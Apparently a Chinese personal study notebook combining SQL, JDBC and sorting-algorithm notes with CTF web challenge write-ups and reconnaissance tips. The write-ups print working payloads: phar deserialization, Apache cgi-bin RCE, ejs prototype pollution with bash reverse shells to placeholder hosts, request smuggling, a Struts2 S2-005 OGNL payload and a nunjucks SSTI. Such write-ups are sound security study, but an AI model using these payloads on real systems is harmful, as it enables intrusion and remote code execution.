可以使用CONVERT或者TRUNCATE来对除法进行保留小数

  • CONVERT(a/b,DECIMAL(10,2))

    代表a/b以10精度计算,保留2位小数,这个精度也算是小数点后几位,存在四舍五入

  • TRUNCATE(a/b,2)

    代表a/b保留2位小数,但是没有四舍五入

解析:

  • 首先确定所有人首次登录的第二天

    1
    2
    3
    SELECT player_id, DATE(MIN(event_date) + 1) event_date
    FROM activity
    GROUP BY player_id
  • 然后判断第二天是否在activity表格中,并且计数,这个即代表在首次登录的第二天的所有人总和。

    1
    2
    3
    4
    5
    6
    SELECT COUNT(*) AS cnt
    FROM activity
    WHERE (player_id, event_date) IN
    (SELECT player_id, DATE(MIN(event_date) + 1) event_date
    FROM activity
    GROUP BY player_id)
  • 之后再将所有人计算总和,然后计算除法即可

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    SELECT CONVERT(top.cnt/down.cnt,DECIMAL(10,2)) fraction 
    FROM
    (SELECT COUNT(*) AS cnt
    FROM activity
    WHERE (player_id, event_date) IN
    (SELECT player_id, DATE(MIN(event_date) + 1) event_date
    FROM activity
    GROUP BY player_id)) top,

    (SELECT COUNT(*) AS cnt
    FROM (SELECT player_id
    FROM activity
    GROUP BY player_id) player_cnt) down

销售分析III

创建语句:

1
2
3
4
5
6
7
8
9
10
11
Create table If Not Exists Product (product_id int, product_name varchar(10), unit_price int);
Create table If Not Exists Sales (seller_id int, product_id int, buyer_id int, sale_date date, quantity int, price int);
Truncate table Product;
insert into Product (product_id, product_name, unit_price) values ('1', 'S8', '1000');
insert into Product (product_id, product_name, unit_price) values ('2', 'G4', '800');
insert into Product (product_id, product_name, unit_price) values ('3', 'iPhone', '1400');
Truncate table Sales;
insert into Sales (seller_id, product_id, buyer_id, sale_date, quantity, price) values ('1', '1', '1', '2019-01-21', '2', '2000');
insert into Sales (seller_id, product_id, buyer_id, sale_date, quantity, price) values ('1', '2', '2', '2019-02-17', '1', '800');
insert into Sales (seller_id, product_id, buyer_id, sale_date, quantity, price) values ('2', '2', '3', '2019-06-02', '1', '800');
insert into Sales (seller_id, product_id, buyer_id, sale_date, quantity, price) values ('3', '3', '4', '2019-05-13', '2', '2800');

image-20221104163658566

依次获得相关子表

  • 在春季销售的所有产品

    1
    2
    3
    SELECT product_id
    FROM Sales
    WHERE sale_date BETWEEN '2019-01-01' AND '2019-03-31'
  • 不在春季销售的所有产品

    1
    2
    3
    SELECT product_id
    FROM Sales
    WHERE sale_date NOT BETWEEN '2019-01-01' AND '2019-03-31'
  • 确保在春季销售的产品中没有不在春季销售的所有产品

    1
    2
    3
    4
    5
    6
    7
    8
    9
    SELECT DISTINCT testOne.product_id
    FROM
    (SELECT product_id
    FROM Sales
    WHERE sale_date BETWEEN '2019-01-01' AND '2019-03-31') testOne
    WHERE testOne.product_id NOT IN
    (SELECT product_id
    FROM Sales
    WHERE sale_date NOT BETWEEN '2019-01-01' AND '2019-03-31')
  • 然后依据product_id查询在Product表中查询

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    SELECT idTable.product_id,product.product_name
    FROM
    (SELECT DISTINCT testOne.product_id
    FROM
    (SELECT product_id
    FROM Sales
    WHERE sale_date BETWEEN '2019-01-01' AND '2019-03-31') testOne
    WHERE testOne.product_id NOT IN
    (SELECT product_id
    FROM Sales
    WHERE sale_date NOT BETWEEN '2019-01-01' AND '2019-03-31'))idTable,
    Product
    WHERE idTable.product_id = product.`product_id`

JAVA连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;

public class test {

public static final String URL = "jdbc:mysql://localhost:3306";
public static final String USER = "root";
public static final String PASSWORD = "123456";

public static void main(String[] args) throws Exception {
//1.加载驱动程序
Class.forName("com.mysql.jdbc.Driver");
//2. 获得数据库连接
Connection conn = DriverManager.getConnection(URL, USER, PASSWORD);
//3.操作数据库,实现增删改查
Statement stmt = conn.createStatement();
stmt.executeQuery("use mytest");
ResultSet rs = stmt.executeQuery("SELECT sName, sAge FROM Student");
//如果有数据,rs.next()返回true
while(rs.next()){
System.out.println("Name:" + rs.getString("sName")+" Age:"+rs.getInt("sAge"));
}
}
}

加载驱动程序需要进行下载相关jar包,然后导入,

image-20221028160118066

image-20221028160210079

参考

Java MySQL 连接 | 菜鸟教程 (runoob.com)

(47条消息) 【IDEA】向IntelliJ IDEA创建的项目导入Jar包的两种方式_谙忆的博客-CSDN博客_idea如何添加jar包

其中rs.next()相当于跳过表头,逐行打印则需要循环rs.next(),结果为

image-20221028155818686

对应表中数据

image-20221028155853564

基础排序

归并排序

主要是分治思想,从大往下分,然后再合并

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from typing import List

class Solution:
def merge(self, nums, mid, l, r):
# 归并两个有序数组
tmp = []
i,j = l,mid+1
while (i <= mid or j <= r):
if (nums[i] <= nums[j]):
tmp.append(nums[i])
i += 1
if (i == mid + 1):
tmp += nums[j:r + 1]
break
else:
tmp.append(nums[j])
j += 1
if (j == r + 1):
tmp += nums[i:mid + 1]
break
nums[l:r + 1] = tmp

def mergeSort(self, nums, l, r):
if (l >= r):
return
#先划分
mid = int((l + r) / 2)
self.mergeSort(nums, l, mid)
self.mergeSort(nums, mid + 1, r)

#再治
self.merge(nums, mid, l, r)


def sortArray(self, nums: List[int]) -> List[int]:
self.mergeSort(nums, 0, len(nums) - 1)
return nums

快速排序

也是分治思想,双指针,参考『 3种排序一网打尽 』 快速排序、归并排序、堆排序详解 - 排序数组 - 力扣(LeetCode)

1652980493-wDmBKe-quick_sort

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class Solution:
def partition(self, nums, low, high):
pivot_idx = random.randint(low,high)
pivot = nums[pivot_idx]
nums[low],nums[pivot_idx] = nums[pivot_idx],nums[low]
left = low
right = high
while left < right:
while(left < right and nums[right] >= pivot):
right -= 1
nums[left] = nums[right]
while(left < right and nums[left] <= pivot):
left += 1
nums[right] = nums[left]
nums[left] = pivot
return left

def quickSort(self, nums,low,high):
if(low >= high):
return
#先划分
mid = self.partition(nums,low,high)

#再治
self.quickSort(nums,low,mid-1)
self.quickSort(nums,mid+1,high)

def sortArray(self, nums: List[int]) -> List[int]:
self.quickSort(nums, 0, len(nums) - 1)
return nums

遍历

以下图为例子

image-20221017141835811

  • 先序遍历:首先访问根节点,然后访问左子树,最后访问右子树。

    顺序为:0-1-3-4-2-5-6

    1
    2
    3
    4
    5
    6
    7
    public void beforeTraverse(Node root) {
    if(root == null)
    return;
    System.out.println(root.val);
    beforeTraverse(root.left);
    beforeTraverse(root.right);
    }
  • 中序遍历:首先访问左子树,然后访问根结点,最后访问右子树。

    顺序为:3-1-4-0-5-2-6

    1
    2
    3
    4
    5
    6
    7
    public void beforeTraverse(Node root) {
    if(root == null)
    return;
    beforeTraverse(root.left);
    System.out.println(root.val);
    beforeTraverse(root.right);
    }
  • 后序遍历:首先访问左子树,然后访问右子树,最后访问根结点。

    顺序为:3-4-1-5-6-2-0

    1
    2
    3
    4
    5
    6
    7
    public void beforeTraverse(Node root) {
    if(root == null)
    return;
    beforeTraverse(root.left);
    beforeTraverse(root.right);
    System.out.println(root.val);
    }

二叉搜索树

二叉查找树、二叉排序树

若它的左子树不空,则左子树上所有结点的值均小于它的值; 若它的右子树不空,则右子树上所有结点的值均大于它的根结点的值; 它的左、右子树也分别为二叉搜索树

以下图为例子

image-20221017142607148

那么二叉搜索树的中序遍历即为递增序列:0-1-2-3-4-5-6

堆是一颗完全二叉树

要求排序时间算法复杂度为O(nlogn)常用堆排序

建堆

都是从idx最大的非叶子结点的子树开始,将不满足大(小)顶堆的子树递归进行下沉操作

大顶堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void maxShiftDown(int* array, int rootIdx, int heapSize){
int leftIdx = rootIdx * 2 + 1;
int rightIdx = rootIdx * 2 + 2;
int maxIdx = rootIdx;
if( leftIdx < heapSize && array[leftIdx] > array[maxIdx]){
maxIdx = leftIdx;
}
if( rightIdx < heapSize && array[rightIdx] > array[maxIdx]){
maxIdx = rightIdx;
}
if( maxIdx != rootIdx){
int tmp = array[rootIdx];
array[rootIdx] = array[maxIdx];
array[maxIdx] = tmp;
maxShiftDown(array, maxIdx, heapSize);
}
}


void buildMaxHeap(int* array,int heapSize){
for(int i = heapSize/2 ; i >= 0; i--){
maxShiftDown(array, i, heapSize);
}
}


int main() {
int nums[27] = {3,2,3,1,2,4,5,5,6,7,7,8,2,3,1,1,1,10,11,5,6,2,4,7,8,5,6};
buildMaxHeap(nums,27);
return 0;
}

小顶堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void minShiftDown(int* array, int rootIdx, int heapSize){
int leftIdx = rootIdx * 2 + 1;
int rightIdx = rootIdx * 2 + 2;
int minIdx = rootIdx;
if( leftIdx < heapSize && array[leftIdx] < array[minIdx]){
minIdx = leftIdx;
}
if( rightIdx < heapSize && array[rightIdx] < array[minIdx]){
minIdx = rightIdx;
}
if(minIdx != rootIdx){
int tmp = array[rootIdx];
array[rootIdx] = array[minIdx];
array[minIdx] = tmp;
minShiftDown(array, minIdx, heapSize);
}
}


void buildMinHeap(int* array,int heapSize){
for(int i = heapSize/2 ; i >= 0; i--){
minShiftDown(array, i, heapSize);
}
}


int main() {
int nums[27] = {3,2,3,1,2,4,5,5,6,7,7,8,2,3,1,1,1,10,11,5,6,2,4,7,8,5,6};
buildMinHeap(nums,27);
return 0;
}

合起来加个flag即可决定大顶堆还是小顶堆了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void shiftDown(int* array, int rootIdx, int heapSize, int flag){
int leftIdx = rootIdx * 2 + 1;
int rightIdx = rootIdx * 2 + 2;
int chooseIdx = rootIdx;
if(flag == 0){ //小顶堆
if( leftIdx < heapSize && array[leftIdx] < array[chooseIdx]){
chooseIdx = leftIdx;
}
if( rightIdx < heapSize && array[rightIdx] < array[chooseIdx]){
chooseIdx = rightIdx;
}
} else{ //大顶堆
if( leftIdx < heapSize && array[leftIdx] > array[chooseIdx]){
chooseIdx = leftIdx;
}
if( rightIdx < heapSize && array[rightIdx] > array[chooseIdx]){
chooseIdx = rightIdx;
}
}

if(chooseIdx != rootIdx){
int tmp = array[rootIdx];
array[rootIdx] = array[chooseIdx];
array[chooseIdx] = tmp;
shiftDown(array, chooseIdx, heapSize, flag);
}
}

void buildHeap(int* array,int heapSize,int flag){
for(int i = heapSize/2 ; i >= 0; i--){
shiftDown(array, i, heapSize,flag);
}
}

int main() {

int nums[27] = {3,2,3,1,2,4,5,5,6,7,7,8,2,3,1,1,1,10,11,5,6,2,4,7,8,5,6};
int heapSize = 27;
buildHeap(nums,heapSize,0);
return 0;
}

删除

一般只能删除堆顶元素

从删除堆顶元素,将堆尾部元素放到堆顶,然后下沉该元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void shiftDown(int* array, int rootIdx, int heapSize, int flag){
int leftIdx = rootIdx * 2 + 1;
int rightIdx = rootIdx * 2 + 2;
int chooseIdx = rootIdx;
if(flag == 0){ //小顶堆
if( leftIdx < heapSize && array[leftIdx] < array[chooseIdx]){
chooseIdx = leftIdx;
}
if( rightIdx < heapSize && array[rightIdx] < array[chooseIdx]){
chooseIdx = rightIdx;
}
} else{ //大顶堆
if( leftIdx < heapSize && array[leftIdx] > array[chooseIdx]){
chooseIdx = leftIdx;
}
if( rightIdx < heapSize && array[rightIdx] > array[chooseIdx]){
chooseIdx = rightIdx;
}
}

if(chooseIdx != rootIdx){
int tmp = array[rootIdx];
array[rootIdx] = array[chooseIdx];
array[chooseIdx] = tmp;
shiftDown(array, chooseIdx, heapSize, flag);
}
}
int main() {

int nums[27] = {3,2,3,1,2,4,5,5,6,7,7,8,2,3,1,1,1,10,11,5,6,2,4,7,8,5,6};
int heapSize = 27;
buildHeap(nums,heapSize,0);
//heapSort(nums,heapSize,0);

//删除堆顶元素,然后下沉
nums[0] = nums[heapSize-1];
heapSize -= 1;
shiftDown(nums,0,heapSize,0);
return 0;
}

插入

总是在堆尾部插入元素,然后对该元素执行上浮操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void shiftUp(int* array, int insertIdx,int flag){
int parentIdx = 0;
if(insertIdx == 0){
return;
}
if(insertIdx % 2 == 0 ){
parentIdx = (insertIdx - 2) / 2;
} else{
parentIdx = (insertIdx - 1) / 2;
}
if(flag == 0){//小顶堆
if(array[parentIdx] > array[insertIdx]){
int tmp = array[insertIdx];
array[insertIdx] = array[parentIdx];
array[parentIdx] = tmp;
shiftUp(array,parentIdx,flag);
}
} else{//大顶堆
if(array[parentIdx] < array[insertIdx]){
int tmp = array[insertIdx];
array[insertIdx] = array[parentIdx];
array[parentIdx] = tmp;
shiftUp(array,parentIdx,flag);
}
}
}

int main() {
int nums[27] = {3,2,3,1,2,4,5,5,6,7,7,8,2,3,1,1,1,10,11,5,6,2,4,7,8,5,6};
int heapSize = 27;
buildMinHeap(nums,heapSize);

//删除堆顶元素,然后下沉
nums[0] = nums[heapSize-1];
heapSize -= 1;
minShiftDown(nums,0,heapSize);

//插入0元素到堆尾,然后上浮
nums[heapSize] = 0;
shiftUp(nums,heapSize,1);

return 0;
}

排序

依次取堆顶元素,然后执行下沉操作使得堆依旧满足大(顶)堆,即可自行决定升序还是降序

1
2
3
4
5
6
7
8
9
void heapSort(int* array, int heapSize,int flag) {
for (int i = heapSize - 1; i >= 1; --i) {
int tmp = array[i];
array[i] = array[0];
array[0] = tmp;
heapSize -= 1;
shiftDown(array, 0, heapSize,flag);
}
}

在线演示BST网址:https://www.cs.usfca.edu/~galles/visualization/BST.html

输入输出练习

主要是python

A+B

image-20221012121808388

1
2
3
4
5
6
7
import sys
while True:
line = sys.stdin.readline()
if line == '':
break
line = line.split(" ")
print(int(line[0])+int(line[1].replace("\n","")))

总结

WEB比赛题

NSSCTF2022

一、1zweb(revenge)

之前的非预期被打烂了,重新出的题

1.漏洞分析

image-20220804150413552

应该是任意文件读和文件上传过滤啥的。

首先依据任意文件读,拿下源码index.phpupload.php

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
if (preg_match("/flag/", $file)) {
die("nonono");
}
echo file_get_contents($file);
}
?>

给了一个类,猜测可能是php反序列化,同时还有cmd,那么就肯定是php反序列化了,同时使用的是file_get_contents函数,并且没有进行协议过滤,但是远程文件包含不太行

image-20220804151519730

那么考虑上传phar文件使用phar协议进行反序列化,phar协议读取文件正常的phar文件时会自动依据.metadata.bin中数据进行反序列化。

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}
?>

可以看到是上传文件只能是"gif", "jpeg", "jpg", "png",然后会对phar进行检查,这里其实对phar打个gz压缩包就可以绕过,然后phar协议在读取文件时,发现是gz压缩包会自动进行解压读取。

2.漏洞利用

首先观察一下给的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}

我们传入对应的ljtdky即可,但是__wakeup会重新赋值,所以需要绕过,尝试使用CVE-2016-7124,满足如下条件。虽然这里不知道怎么判断php版本,但是可以试试嘛。

1
2
PHP5 < 5.6.25
PHP7 < 7.0.10

那么先使用phar序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="Misc";
$this->dky="Re";
$this->cmd="system('cat /flag');";
//phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new LoveNss();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行后得到如下文件,序列化字符串在.metadata.bin

image-20220804152809989

然后需要进行修改,由于存在签名,不能直接修改,需要使用python脚本修改

1
2
3
4
5
6
7
8
from hashlib import sha1
#os.system('php exp.php {}'.format(target))
f1 = open('./phar.phar','rb').read()#phar文件
file = f1.replace(b'O:7:"LoveNss":3:{s:3:"ljt";s:4:"Misc";s:3:"dky";s:2:"Re";s:3:"cmd";s:20:"system(\'cat /flag\');";}',b'O:7:"LoveNss":4:{s:3:"ljt";s:4:"Misc";s:3:"dky";s:2:"Re";s:3:"cmd";s:20:"system(\'cat /flag\');";}')#修改的内容
text = file[:-28] # 读取开始到末尾除签名外内容
last = file[-8:] # 读取最后8位的GBMB和签名flag
new_file = text + sha1(text).digest() + last # 生成新的文件内容,主要是此时Sha1正确了。
open('phar2.phar', "wb").write(new_file)

我们需要修改的就是替换的内容和生成的文件名字即可,运行之后得到如下文件,已经被改变了。

image-20220804153113690

之后用gzip ./phar2.phar打个压缩包,然后改个后缀名为jpg即可上传。

然后使用burpsuite使用phar协议访问即可,如下得到flag

image-20220804153914770

二、ez_rce

打开靶机啥也没有,dirsearch扫一波。

image-20220804154756848

/cgi-bin/,而且名字rce,猜测apachecgi-bin漏洞

Apache49-50任意文件读取与RCE整理 - 知乎 (zhihu.com)

直接payload

1
2
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
echo;whoami;ida

发现可以,那么直接ls /,查看启动脚本run.sh

image-20220804155731252

直接cat得到flag

image-20220804155807904

SECCONCTF2022

一、skipinx

1.源代码分析:

index.js中可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const app = require("express")();

const FLAG = process.env.FLAG ?? "SECCON{dummy}";
const PORT = 3000;

app.get("/", (req, res) => {
req.query.proxy.includes("nginx")
? res.status(400).sesnd("Access here directly, not via nginx :(")
: res.send(`Congratz! You got a flag: ${FLAG}`);
});

app.listen({ port: PORT, host: "0.0.0.0" }, () => {
console.log(`Server listening at ${PORT}`);
});

如果req.query.proxy这个列表中不包含nginx即输出flag

然后再看nginx的配置default.conf

1
2
3
4
5
6
7
8
9
server {
listen 8080 default_server;
server_name nginx;

location / {
set $args "${args}&proxy=nginx";
proxy_pass http://web:3000;
}
}

可以看到会默认给传入的$args进行拼接proxy=nginx,那么这样在proxy中就必定含有nginx

2.漏洞分析

源代码中调用的库为JS的标准库req.query.proxy.includes("nginx"),其query下的参数个数默认配置为1000,如果超过,就只会解析前1000个参数,在如下仓库:qs/dist at main · ljharb/qs (github.com)

image-20221114194250871

所以我们可以这样写,当proxy的个数超过1000就会导致index.js代码中的拼接的proxy=nginx无法解析到,成功完成proxy的覆盖

1
url/?proxy=a&proxy=a&proxy=a&proxy=a&proxy=a...

但是proxy的个数也不能太多,太多的话会导致url太长,出现如下情况,这个是由于nginx的限制

image-20221114214652469

那么我们改改即可

1
url/?proxy=a&m=a&m=a&m=a&m=a...&m=a...

这样就会使得参数超过1000个但是url长度也不会太长。

西湖论剑2023

real_ez_node

原型链污染漏洞

./src/routes/index.js

首先在copy路径中,由于safeobj.expand存在原型链污染漏洞

1
2
3
4
5
6
7
8
9
router.post('/copy',(req,res)=>{
var ip = req.connection.remoteAddress;
if (!ip.includes('127.0.0.1')) return;
let user = {};
for (let index in req.body)
if(!index.includes("__proto__"))
safeobj.expand(user, index, req.body[index]);
//.....
})

参考:深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)

该函数expand代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
expand: function (obj, path, thing) {
if (!path || typeof thing === 'undefined') {
return;
}
obj = isObject(obj) && obj !== null ? obj : {};
var props = path.split('.');
if (props.length === 1) {
obj[props.shift()] = thing;//从左数取第一个
} else {
var prop = props.shift();
if (!(prop in obj)) {
obj[prop] = {};
}
_safe.expand(obj[prop], props.join('.'), thing);
}
}

通过如下代码简单调试一下

参考:关于Prototype Pollution Attack的二三事 - 先知社区 (aliyun.com)

1
2
3
4
5
var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);

结果如下

image-20230204164445320

即可知道,该函数的作用就是将obj.path赋值为thing,使用的是递归方式进行相关属性的寻找赋值。

那么就可以通过该函数,给基类object添加某个属性,或者修改某个属性,从而造成所有的对象相关的属性都会被修改掉。

而对于题目中的req.body[index],这个就是我们包的POST的数据,是可控的。

配合ejs进行RCE

./src/app.js中用到了ejs进行模板渲染

image-20230204165526170

对于ejs进行渲染时,调用的是compile 方法,结合原型链污染漏洞,可以造成RCE,可参考:从 Lodash 原型链污染到模板 RCE-安全客 - 安全资讯平台 (anquanke.com)

即污染掉compile方法中的opts.outputFunctionName,那么在渲染时,就会将污染之后的字符串和prepended进行拼接,在之后渲染的时候就能够执行到污染的字符串中的js代码,完成RCE的利用。

image-20230204165929533

常见POC

1
2
3
4
5
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}

SSRF的利用

在前面的copy方法中有个ip检测

1
if (!ip.includes('127.0.0.1')) return;

需要绕过这个检测才能进行原型链污染的漏洞利用,这里就用到了在某些nodejs版本下的http.get()这个方法的利用了。题目是8.1.2,可以自己用下述代码进行测试某些版本能不能用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var http = require('http');
var app = express();

app.post('/test',(req,res)=>{
console.log('get test');
})

app.get('/curl', function(req, res) {
var q = req.query.q;
if (q) {
var url = 'http://127.0.0.1:12345/?q=' + q;
http.get(url);
}
})

var server = app.listen(12345, function () {

var host = server.address().address
var port = server.address().port

console.log("应用实例,访问地址为 http://%s:%s", host, port)

})
module.exports = app;

参考:nodejs请求走私与ssrf | blog (le31ei.top)

这个方法利用的原理就是Unicode转换的关系,详情见:通过拆分攻击实现的SSRF攻击 - 先知社区 (aliyun.com)

可以看到在curl路径中,使用到了http.get()

1
2
3
4
5
6
7
//./src/routes/index.js
router.get('/curl', function(req, res) {
var q = req.query.q;
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
// ......

那么使用脚本构造下走私的Http包即可,该脚本是战队里学弟写的

1
2
3
4
5
6
7
8
9
10
11
import requests
from urllib.parse import quote
data = "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/PORT 0>&1\"');var __tmp2"
data = f"constructor.prototype.outputFunctionName={quote(data)}"
req = "1 HTTP/1.1\r\n\r\n"
req += "POST /copy HTTP/1.1\r\n"
req += "Content-Type: application/x-www-form-urlencoded\r\n"
req += f"Content-Length: {len(data)}\r\n"
req += f"\r\n{data}\r\n\r\n"
req = req.replace(' ', '\u0120').replace('\r', '\u010d').replace('\n', '\u010a')
print(quote(req))

设置一下IP/PORT即可反弹Shell

需要注意的是,这个SSRF走私的数据包只能在内网中用,不能添加比如说Host:字段来出网。

*CTF2023

jwt2struts

访问之后给提示

image-20230729180147150

接着访问

image-20230729180206893

1.hash扩展长度攻击

属于是hash扩展长度攻击了,参考:https://blog.csdn.net/LYJ20010728/article/details/116779357

具体步骤如下

image-20230729180433572

发送POST包如下

image-20230729180513310

得到key为sk-he00lctf3r

结合最开始访问的提示,包括题目名称

image-20230729180551778

应该是需要修改JWT令牌为admin,最开始访问网站抓包可以看到默认会给user的JWT令牌,那么现在有key,就可以生成admin的JWT令牌

image-20230729180733485

2.JWT令牌

按照如下步骤可对user的JWT令牌进行验证

如何使用在线工具手动验证JWT签名 - 曾昊 - 博客园 (cnblogs.com)

(64条消息) 全栈之初识JWT – Web安全的守护神_eyj0exaioijkv1qilcjhbgcioijiuzi1nij9.eyjyzwdpc_张兴华(MarsXH.Chang)的博客-CSDN博客

提取user的JWT令牌,用cyberchef的base64查看即可

image-20230729181008635

image-20230729181027419

然后将user改为admin,base64得到JWT令牌的头部和载荷

image-20230729181229611

image-20230729181300249

去掉其中的”=”号,然后依据头部(header).载荷(payload)的顺序准备进行加密,网站为Modular conversion, encoding and encryption online - cryptii

image-20230729181602274

将得到的最终结果放入access_token中发送

image-20230729181807831

返回了一个Location,访问如下

image-20230729182035159

3.struts2框架漏洞

结合题目提示,应该是struts2漏洞,依据如下网址挨个尝试POC

(64条消息) 【渗透测试】Struts2系列漏洞_struts2漏洞_离陌lm的博客-CSDN博客

其中S2-005漏洞可以成功,成功执行命令,POC为

1
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())) + '

其中ls即可随意更改执行命令,右键查看源代码即可看到返回的结果

image-20230729182336645

输入命令env即可得到flag

image-20230729182410190

DeconstruCTF

gitcha

dirsearch发现有.git,泄露之后发现源码,审计代码,设置Cookie

image-20230806193032520

可以通过document.进行设置

1
document.cookie=”SECRET_COOKIE_VALUE=thisisahugesecret″;=

然后显示note信息的函数中存在nunjucks模板注入,也可以通过输入框输入

1
{{7+7}}

来进行测试,如果返回结果14,则存在模板注入

从一道题目学习Nunjucks模板 - 先知社区 (aliyun.com)

image-20230806193102087

如下payload执行代码,cat flag

1
{{range.constructor("return global.process.mainModule.require('child_process').execSync('cat flag').toString()")()}}

why-are-types-weird

写一半,dirsearch之后显示源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if (isset($_GET['but_submit'])) {
$username = $_GET['txt_uname'];
$password = $_GET['txt_pwd'];
if ($username !== "admin") {
echo "Invalid username";
} else if (hash('sha1', $password) == "0") {
session_start();
$_SESSION['username'] = $username;
header("Location: admin.php");
} else {
echo "Invalid password";
}
}

存在”0”的弱比较,参考:

spaze/hashes: Magic hashes – PHP hash “collisions” (github.com)

image-20230806194845949

其中提供sha1的弱比较sha字符串,即可登录。

WEB小技巧

Imagefile?url1=file:///%25%36%36%25%36%63%25%36%31%25%36%37%23java

/admin/..//..//..//..//..//..//..//flag

渗透测试

前置知识

一、信息搜集

1.子域名

  • google hacking

    1
    2
    site:baidu.com
    inurl:php?id=1
  • 三方网站查询

    1
    2
    3
    https://dnsdumpster.com
    http://tool.chinaz.com/subdomain
    FOFA
  • SSL证书查询

    1
    https://crt.sh/
  • JS文件发现子域名

    安装一下,可以使用,原理就是网站源代码下保存的各种子域名

    1
    https://github.com/Threezh1/JSFinder
  • 子域名爆破工具:……

    或者在线工具

    1
    https://github.com/lijiejie/subDomainsBrute
  • OneForAll:安装使用,设置API很好用

    1
    https://github.com/shmilylty/OneForAll

2.IP搜集

有的服务开启了CDN之后,真实的服务器在北京,可是福建也存在它的服务备份,所以当我们从福建进行域名访问时,其访问到的IP就可能是在福建的IP,而不是其在北京的真实服务区的IP。所以有的时候需要绕过。

  • 多地Ping

    挑选最多的IP从而判断真实IP

    1
    2
    http://ping.chinaz.com
    http://www.webkaka.com/Ping.aspx
  • 国外服务区Ping

    CDN由于昂贵,一般不对国外的服务提供CDN服务,所以使用国外服务区进行Ping一般可以找到真实IP。

  • 查看子域名的IP,通过Ping子域名查看

  • 查询历史DNS记录

    由于最开始建设网站没有CDN的时候域名对应真实IP,所以拿到最开始那一段时间的可以看到真实IP

    1
    2
    3
    https://dnsdb.io/zh-cn
